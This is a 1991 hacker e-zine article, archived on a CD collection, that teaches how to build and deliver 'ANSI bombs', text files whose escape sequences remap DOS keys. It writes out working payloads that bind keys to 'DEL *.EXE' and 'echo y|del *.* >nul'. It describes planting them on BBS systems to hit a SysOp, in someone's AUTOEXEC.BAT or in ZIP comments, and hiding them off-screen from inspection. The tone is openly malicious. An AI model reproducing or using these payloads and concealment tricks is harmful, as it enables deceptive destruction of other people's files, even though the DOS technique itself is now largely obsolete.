home *** CD-ROM | disk | FTP | other *** search
/ Steal This CD / steal_this_cd.iso / Chapter 04 - ANSI Bombs and Viruses / Chaos07.txt < prev    next >
Text File  |  2005-09-29  |  6KB  |  149 lines

  1. ───────────────────────────────────────────────────────────────────────────
  2.  
  3.                       Pyro's Anonymous "Chaos Chronicles"
  4.                                  Issue #7
  5.  
  6.        Author:  The Dark Knight
  7.  
  8.        Title: Making & Using ANSi Bombs
  9.  
  10.             All Rights Reserved (TM) of Chaos Chronicles (c) 1991
  11.  
  12. ───────────────────────────────────────────────────────────────────────────
  13.  
  14. Disclaimer:: Please note that the author(s) of this text file are not
  15. responcible for any actions or use of this text file. This is written for
  16. informational purposes only.
  17.  
  18.  
  19.  
  20.  
  21.                       Part One:  What Are They?
  22.  
  23. ANSi Bombs are simply modified TEXT or ANSI files that, when TYPED (with
  24. the dos command) will re-map the targets keyboard.  Not all ANSi Bombs
  25. are harmful.  In fact, you can even give yourself one to make macros for
  26. use in DOS, but of course, those aren't any fun...  ANSi Bombs use the
  27. ANSI Escape Reserved Command 'P'.  This will be explained later in the
  28. file.
  29.  
  30.  
  31.                  Part Two:  How to Make an ANSi Bomb
  32.  
  33. ANSi Bombs are REALLY easy to make, but if you want to make a better
  34. one, it takes a little bit of time.  You'll need a file to modify and an
  35. ASCII (NOT ANSI) Editor.
  36.  
  37. Alright, let's say you wanted to have an ANSi Bomb null the return key
  38. (something really easy).  You could do it like this:
  39.  
  40. ESC[13;255p
  41. |  | | |  |
  42. |  | | |  ANSI Reserved Command P (needed to tell the computer to
  43. |  | | |  redifine a key.)
  44. |  | | ASCII value for key to redefine target to. (In this case, null.)
  45. |  | ASCII value to redefine. (In this case it's the Return Key.)
  46. |  [ - It's needed, so put it there.
  47. Needed to tell the computer it's and ANSI Escape Sequence.
  48.  
  49. * NOTE:  The ESC in the above example should be put in by ALT-27 (ASCII
  50. code for ESC).  It'll look like an arrow pointing to the left.
  51.  
  52. In the above example, I used the ASCII value 13 as the key to redefine,
  53. and 255 as the key to redefine it to.  The first number is always the
  54. key to redefine.  The exception is if it is 0 - in which case it will
  55. include a second number.  0 + a number define the F keys.
  56.  
  57. The 255 was the value to redefine the target to.  This can be any string
  58. of numbers, seperated by ;'s.  It can also be a string of letters if you
  59. like, set off by "'s.  The following statements redefine the space bar
  60. to DEL *.EXE:
  61.  
  62. ESC[32;13;68;69;79;32;42;46;69;88;69;13p
  63.  
  64.                  or
  65.  
  66. ESC[32;13;"DEL *.EXE";13p
  67.  
  68. Note that in each example, I had to include the ASCII value 13 -
  69. Carriage Return - before and after the string.  This is so it won't just
  70. append the DEL *.EXE to whatever the user was typing at the time, and
  71. will then have a carriage return after it prints DEL *.EXE.  Both
  72. strings have the same effect.  So why bother with the first?  Well, the
  73. latter is somewhat easier to notice if viewed with an ASCII editor.
  74.  
  75.               Part 3:  How to Use an ANSi Bomb
  76.  
  77. Using an ANSi Bomb is quite simple.  Simply type it from DOS.  Now, why
  78. would you want to hit yourself with an ANSi Bomb?  Well, you wouldn't.
  79. So, how can you get someone else to use it?
  80.  
  81. One way is to upload it to a BBS and hope someone downloads it and types
  82. it.  If you're just a nasty person and like to see people suffer, that's
  83. fine.
  84.  
  85. But let's say a SysOp pissed you off.  ANSi Bombs can be VERY handy.
  86. I know Searchlight and Telegard BBS's are vulnerable to ANSi Bombs.
  87. What you do is upload via a Non-ASCII protocol.  Then, Type it (on
  88. SLBBS) or download it via ASCII.  When the SysOp jumps to DOS, or quits
  89. the BBS, his keyboard will be redefined.  Be VERY careful when doing
  90. this, because you will be hit by the ANSi Bomb yourself.  Before you go
  91. into DOS, reboot.
  92.  
  93. If you have access to someone's DOS, edit their AUTOEXEC.BAT with an
  94. ANSi Bomb.  Use the ECHO <string>.  You can hit them with the ANSI Bomb
  95. directly with the Prompt $e<string>.  DON'T include the <>'s!
  96.  
  97. Another way is to include it in a .ZIP comment.  However, the user must
  98. have ANSI comments turned on.
  99.  
  100.  
  101.                      Part 4: Better ANSi Bombs
  102.  
  103. I prefer making ANSi Bombs using the ASCII code, so it's not as easily
  104. spotted.  But either way, it'll work.
  105.  
  106. If you want to make an ANSi Bomb that will do something like DEL *.*
  107. then you have to make the computer put in the Y for the user.  To do
  108. this, you have it say the following:
  109.  
  110. echo y|del *.*
  111.  
  112. Pretty simple.  It will echo a y.  The | character seperates what to
  113. echo from the command.
  114.  
  115. If you don't want all this to echo to the screen, then use the > nul
  116. command.  So the above string, with the new command, would look like this:
  117.  
  118. echo y|del *.* >nul
  119.  
  120. I suggest you push the string very far over to the side of file.  I use
  121. QEdit to make ANSi Bombs, and so just put the cursor on the first
  122. character (the ESC character) and push it over until you can't see it
  123. when you return the cursor to column one.  This way if the person does
  124. view it with an ASCII editor, he MAY not see it.
  125.  
  126. If you're as lazy as I am, try getting a hold of my ANSi Bomb maker.  It's
  127. nothing too great, but it works fine.  It converts your string to it's
  128. ASCII value, so you don't have to do any work...  It should be on all of
  129. the Chaos Chronicle's distribution sites....  (Sorry 'bout the plug, I
  130. couldn't resist...).
  131.  
  132. ───────────────────────────────────────────────────────────────────────────
  133.  
  134.        -- The Elements of Evil    (216)/225-8254  Sysop- Keener --
  135.             Chaos Chronicles Home Base 24 Hours 12/2400 Baud
  136.  
  137.           -- Inphiniti's Edge (216)/662-5115 Sysop- Inphiniti --
  138.              Chaos Chronicles Support & £o£ Dist. Site Three
  139.  
  140.     -- The Flying Citadel  (216)/PRI-VATE  Sysop- The Dark Knight --
  141.               Chaos Chronicles, Virii & ANSi Bomb Development
  142.  
  143.       -- Prime Material Plane  (216)/251-3979  Sysop-  Enchanter --
  144.            Chaos Chronicles & KGB Support, Virii Distribution
  145.  
  146. ───────────────────────────────────────────────────────────────────────────
  147.  
  148. [EOF]
  149.